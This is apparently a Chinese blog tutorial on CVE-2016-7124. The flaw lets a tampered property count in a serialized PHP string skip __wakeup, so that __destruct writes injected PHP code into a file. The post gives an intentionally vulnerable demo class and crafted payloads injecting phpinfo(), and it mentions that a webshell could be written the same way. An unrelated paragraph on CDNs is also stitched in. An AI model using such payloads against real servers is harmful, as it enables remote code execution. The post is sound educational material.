CVE-2016-7124反序列化漏洞

vFREE
2021-04-11 / 1 评论 / 239 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年07月14日,已超过438天没有更新,若内容或图片失效,请留言反馈。

CDN即内容分发网络,主要是解决访问网站速度,比如说,某个网站的主机是在黑龙江的,现在有人要在广东访问,没有CDN加速的话,肯定是慢的,CDN的作用就是将该网站的静态资源先放在各地的CDN主机上,如果有人需要访问,就会就近原则,访问cdn主机上的静态资源,这样子,访问的速度,就有了大大的提升

淋湿搞笑表情包把女朋友聊湿的表情包_动物表情- 表情帝


漏洞成因

今天学习反序列化的时候,看到cve-2016-7124的这个漏洞,漏洞产生的原因是因为可以修改属性数的大小跳过wakeup的执行,何为wakeup呢?

__wakeup是PHP中的一个魔术方法,如果在反序列化一个类的时候,会先检查是否有__wakeup的存在,有的话,会先调用wakeup里面的内容

我给你变个魔术日期表情:套路最近表情包的可火-表情包之园


利用

版本限制

PHP5:<5.6.25

PHP7:<7.0.10

 

代码

class vFREE{
    public 
$name='vFREE';
    public 
$age='18';
    function 
__wakeup(){
        
$this->age "18";
    }
    function 
__destruct(){
        
$path='flag.php';
        
$file_get=file_put_contents($path,$this->name);
            
    }
}

$flag $_GET['flag'];
$unser unserialize($flag);
 

上面是栗子

 

审计一波

类名:vFREE

类属性:name和age

魔术方法:__wakeup和__destruct

__destruct是析构方法,一般都是最后或者被销毁才会给调用

 

类外部用到了反序列话函数unserialize,但用到这个函数时,就会像检查类vFREE中有没有__wakeup方法,有的话就执行,没有就跳过,很明显,代码中有wakeup,但是wakeup的内容就是一个赋值操作,并起不了太大的作用,反而destruct中可以利用一波,因为destruct中打开一个flag.php的文件,然后将$this->name的值作为内容写入到flag.php中,假如我们写入一个木马呢,那危害不就上来了么...

我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类vFREE进行序列化,代码如下:

<?php

class vFREE{
    public 
$name='vFREE';
    public 
$age='18';
    function 
__wakeup(){
        
$this->age "18";
    }
    function 
__destruct(){
        
$path='flag.php';
        
$file_get=file_put_contents($path,$this->name);
            
    }
}

$vfree=new vFREE();

echo serialize($vfree);

?>

序列化后得到

O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";}

 

O即对象的缩写

5即说明类名有五位字符

2即有两个类属性

{}即所有类属性名和内容

s即字符串

4即类属性名有4位字符

name即类属性名字

以此类推...

 

此时在看代码,发现写入到flag.php中的是$this->name的值,所以,我们要更改name的内容,怎么改呢?把name后面s:5:"vFREE"的vFREE改成你先插入的内容,比如改成<?php phpinfo();?>,就变成

O:5:"vFREE":2:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

注意,此时s后面的5改成18了,因为<?php phpinfo();?>一共有18个字符,所以,数值要随着字符数的变化而变化,然后传入即可

当然,此时还是会先执行wakeup方法的,并未先执行destruct,根据开头讲的,更改原有属性值达到绕过过wakeup的效果,此时的类中属性值是2,我们要将2改成其他数字,改成什么都行,反之一定要大于2,比如

O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";}

改成5,就可以绕过了

成功写入,当然,可以写其他的,自己发挥啦,别干坏事就好了

邪魅一笑- 斗图表情包- 斗图啦- doutula.com | Funny animals, Animals, Corgi

 

注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢

 

 

0

评论 (1)

取消
  1. 头像
    11
    Windows 10 · Google Chrome

    你好,请问文章中给出的例子为什么要绕过wakeup函数呢,我看wakeup中变量age和destruct中path没有什么关系啊?但是我浏览器复现的时候也是必须绕过wakeup才能成功生成phpinfo,这是为什么呢?希望能得到您的回复

    回复